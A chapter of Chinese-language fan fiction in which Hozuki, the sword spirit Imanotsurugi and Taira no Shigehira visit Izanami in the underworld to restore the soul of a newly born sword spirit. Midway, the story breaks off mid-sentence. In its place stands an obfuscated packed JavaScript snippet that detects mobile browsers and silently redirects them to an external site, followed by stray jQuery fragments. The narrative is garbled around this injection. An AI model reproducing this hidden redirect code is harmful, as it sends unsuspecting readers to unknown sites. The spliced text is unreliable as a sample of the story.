不是带游客参观,这两位有事来找伊邪那美大人。”
鬼灯摊开手掌介绍起两人,“这位是今剑,刀剑付丧神,拥有通行令可直接放行。”
今剑冲骷髅摆了摆手,“喲!”
“这位是平重衡,还没有死亡的生人,注意不要吓到他。”
“初次见面。”
“既然是鬼灯大人的吩咐在下一定会谨记。”
骷髅上下打量了平重衡几眼,颌骨咔哒咔哒动着,发出像是生锈铁门开合的声音。
在他的背后,原本由灵魂组成的柱子自动分开一条通路,露出后面更幽深的宫殿内部。
墙壁上的壁画凸起不再捕食鬼差,反而像活物般扭动着,拼凑出狰狞又华丽的纹路,看得人头晕目眩。
平重衡很明显就被蛊惑,他目光呆滞,手脚无力的向前走去。
今剑在他即将踏入大殿的那一刻拦住了他,晚江行久被横在平重衡的脖子跟前,只差一步晚江行久就可以换下一个主人了。
在性命的威胁下,平重衡及时醒悟,望着与自己相隔不过几厘米的刀刃,喉咙上下吞咽。
“快过来吧,我在这一个人孤寂太久了。”
黝黑的深处飘来女性幽幽的呼唤声。
鬼灯上前几步打断了伊邪那美的蛊惑,“伊邪那美大人”
“何事?”
深宫处传来回应,女性娇弱无骨的声音在鬼灯发声后变得正直无比,声音琳琅清脆,一下子驱散了之前弥蒙的黑暗。
鬼灯抬手示意今剑看好平重衡,自己则迈步走向黑暗:“属下带了两位客人,他们想向您询问晚江行久的魂魄之事。”
“晚江行久……”那声音顿了顿,宫殿里的壁画突然剧烈扭动起来,凸起的纹路里渗出暗红色的液体,顺着墙壁蜿蜒流淌,在地面汇成细小的溪流。
“我知道那个孩子,被卷进时空暗流的可怜人,我身位神明没有办法直接挽救他的命数,只能将他放进镇石之中,等过几百年后又能重新获得身体。”
今剑将晚江行久塞进平重衡的手中,主动上前与伊邪那美交谈,“不管之前如何,现在晚江只是作为刀剑付丧神存在,可是神魂不稳没有办法显灵,甚至连保持意识清醒都不行。”
“呵呵”伊邪那美的笑声从深处传来,带着一丝戏谑,“作为末尾神也想阻止正神给与的安排,真是大胆啊……等等,鬼灯!”
事情很多的辅佐官没时间听伊邪那美在那故弄玄虚,鬼灯直接走进黑暗,点亮了宫殿内的灯笼。
“真是的让我再和孩子们聊会嘛,平常我这里也没人来。”
扎着双马尾的伊邪那美坐在主位上,鼓起脸颊生气道,“明明自己走就可以,现在却呆在这,是害怕那个叫平重衡的孩子被我留下来吗?”
“不,准确来说是害怕晚江行久和平重衡一起被您留下来。”
鬼灯吹灭手上的火折子说道。
“啊啦~鬼灯真了解人家,讨厌~”伊邪那美举起自己的拳头就一通连招捶在鬼灯的胸脯上。
平重衡无措的看着鬼灯被锤的吐了血都没有躲开。
地狱...果然好可怕……
发泄完自己被拆穿的羞耻后,伊邪那美咳嗽两声捡起了自己身位开源神之一的逼格。
“将新生的刀剑付丧神呈上来吧。”
今剑一步步登上阶梯,直到位于伊邪那美一个身位时才停下,他半蹲下来,双手高举着晚江行久过头顶。
伊邪那美没有将晚江行久拿到手上,只是朝他吹了一口气。
那气流脱离伊邪那美的身边就想逃跑,白色雾状气流上下翻涌着,挣扎许久还是敌不过创造生命的母神,死亡和黄泉的女主人,在一声刺耳的悲鸣过后,融入了晚江行久本体之中。
他的刀刃在雾气的融入后变得愈发锋利,隐隐透出流光溢彩的光芒。
在黑暗中沉睡的晚江行久,突然感觉身上一阵轻松,就像是压了很久的大山被搬走,余下的只有轻盈的魂体。
解决完这件事,伊邪那美不耐烦的扇了扇手,催促着他们赶紧走,身上的华绸随着动作上下飞舞,满目的金饰叮叮当当,可以轻易的勾起人心底的欲望。
与高贵华美的服饰相比的是她满面烧伤的脸庞,姣美白皙的脸庞布满痂痕,发黄的脓水从裂开的伤痕处流下,小巧对称的耳朵此时少了一只,脸上的眼睛成为深不见底的骷髅。
可惜在场的人没有一位是心智不坚定之人,就连平重衡,在场唯一的人类都因为一心向着被救治的晚江行久没有受到伊邪那美的惊吓。
见没人中招,伊邪那美顿感无趣。
她百无聊赖的歪坐在白骨制成的王座上,手指漫不经心的拨弄着金饰,“真是群没趣的男人,当年伊邪那岐逃跑时可慌张了,连衣物都没顾及上。”
今剑握着晚江行久的手稳如磐石,刀刃上的流光映着伊邪那美可怖的面容,却没让他眼神有半分动摇。
“多谢大神成全。”
伊邪那美打了个哈欠,厌烦了听今剑的虚言假意,“鬼灯,你送送二位,我要休息了。”
“是。”鬼灯的衣摆随着他的走动晃动着,不一会就看不见他的身影。
“给,要好好使用他啊。”今剑将拿了一路的晚江行久塞给平重衡。
平重衡郑重的将刀接过,指尖接触到他的一瞬间能感觉到冰冷的气息在蔓延,“我会的。”
身为凡人的平重衡还不能长时间接触伊邪那美赐予的力量,查看过晚江行久的刀体没有受损后就收入刀鞘,挂在腰上。
鬼灯的声音从前方传来,不带半分情绪:“走吧,黄泉的时间流速与外界不同,耽搁久了可不是好事。”
今剑颔首,转身时最后看了眼白骨王座上的身影。
伊邪那美已经闭上了仅存的空洞眼窝,金饰碰撞的脆响渐渐低了下去,仿佛真的沉入了休息。
回去的路上一片寂静,无论是鬼灯还是今剑都没有说话,察觉到氛围不对的平重衡也抱紧了怀中的刀。
随着魂体与身体的排斥消退,晚江行久在格外舒适的环境下醒来。
一睁开眼就对上了平重衡那张稚嫩的脸庞——还有在窗外飞着的胧车。
……这给我干哪来了?!
晚江行久感觉自己浑身上下的铁皮疙瘩都要起来了,那胧车一副惨白的鬼面,浓密的鬓发里能看见不知道是什么动物的骸骨在翻涌着。
晚江行久害怕、不解,更担心平重衡是不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978062|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被妖怪抓走了,放出灵识在周围环绕一圈。
在距离地面几千米的高空上,大河变成了彩带,人群都是蚂蚁,宏大的宫殿和乐x积木差不多。
倚靠着车厢的今剑感觉到灵识波动睁开了眼睛,看向平重衡怀里的刀,“醒了,你那小主人为你可谓是披荆斩棘,差点还被非礼了。”
闻言,晚江行久震惊的看向平重衡。
平重衡的脸颊“腾”地红透了,手忙脚乱地按住刀柄:“今剑大人!您别乱说那还不是您的错!”
晚江行久的灵识不安地在平重衡手腕上蹭来蹭去,带着明显的焦灼——你才十二岁啊平重衡,这么早交出很容易长不高的!
这边热闹的景象引起了鬼灯的注意,“请不要在胧车上打闹,会晕车的。”
“非常感谢鬼灯大人的关心,我一点都不...额!!”
伴随着翻江倒海的架势,胧车匆匆找了块空地就停车,差点掉进三途川里。
“哟西哟西,好孩子。”
鬼灯轻轻拍了拍正在干呕的胧车,顺带替它捋顺了毛躁的头发。
平重衡扶着旁边的树干,胃里的酸水一个劲往上涌,听见鬼灯这话差点没背过气去——谁会对着胧车说“好孩子”啊!
晚江行久见平重衡就算难受也要盯着鬼灯,以为他羡慕这种温馨的举动,满怀慈爱的他飞起来拍了拍平重衡的背后。
本就处于脆弱时期的平重衡被爱刀这一拍直接拍在地上。
唔呕——”平重衡趴在地上,刚压下去的反胃感被这一拍彻底勾了上来,胃里的东西恨不得全倒出来。
他挣扎着想抬头,却被晚江行久又一下轻飘飘的拍打按回原地,那力道带着灵体特有的微凉,落在背上竟有种奇异的安抚感。
晚江行久的灵识在他头顶盘旋,满是困惑——怎么回事?平重衡的身子这么弱?他明明收着劲呢。
今剑看不下去,走过去拎起平重衡的衣领,放在漂浮在空中的晚江行久背上,“背好,要是他掉了下来你就可以成为野刀了。”
掉下来就会死,真的吗?
虽然不相信晚江行久还是绷直了自己的刀身,一丝晃动都不敢有。
处理好胧车的鬼灯走了过来,“接下来的路就不送了,一路顺风。”他冲今剑和平重衡点了点头,登上另一架胧车扬长而去。
今剑拿出令牌挂到晚江行久的刀柄上,“拿着,要是弄丢就真的回不去了。”
“OK!”晚江行久用灵力紧紧固定住令牌,好奇要怎么回去。
在他没有预备的情况下,两刃的脚底出现一个黑洞,强大的吸力拉扯着他们的身体,路过的魂一个回头,原地已没了两刃一人的身影。
平重衡双手紧握着身下的刀剑,耳边恍惚的听见了其他人的叫声,“啊啊啊啊啊啊啊啊啊!好刺激啊啊啊!平重衡你抓紧我!”
失重感像一只无形的手攥紧了晚江行久的灵体,他听见自己的刀身在风里发出“嗡嗡”的颤音。
黑暗中突然炸开片刺目的光,晚江行久下意识用灵识护住平重衡的眼睛,再睁眼时已经摔在片柔软的草地上。
平重衡像只被翻过来的小乌龟,四脚朝天躺在刀身上,嘴里还叼着根沾着泥土的草。